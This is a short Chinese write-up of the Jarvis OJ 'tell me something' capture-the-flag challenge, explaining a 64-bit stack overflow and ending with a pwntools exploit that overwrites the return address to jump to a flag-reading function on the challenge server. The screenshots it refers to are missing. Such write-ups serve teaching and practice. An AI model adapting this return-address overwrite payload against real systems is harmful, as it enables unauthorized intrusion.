拿到题目前checksec下:

64位,开启了NX。
放到IDA里看下:

就单纯的栈溢出,看下调用哪些函数:

plt表里并没有system函数,也不知道对方使用的动态库的版本。
看到函数good_game:

这个函数会读取flag,那么就很显然了,将返回地址覆盖到这个函数即可。
计算下溢出点:


由于是64位的程序,不能访问大于0x00007fffffffffff的地址空间。
但是可以通过RSP查看。
exp如下:
from pwn import *
a=remote("pwn.jarvisoj.com","9876")
payload='A'*136+p64(0x0000000000400620)
a.recvuntil("n")
a.send(payload)
a.interactive()
最后
以上就是活泼狗最近收集整理的关于Jarvis oj tell me something writeup的全部内容,更多相关Jarvis内容请搜索靠谱客的其他文章。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复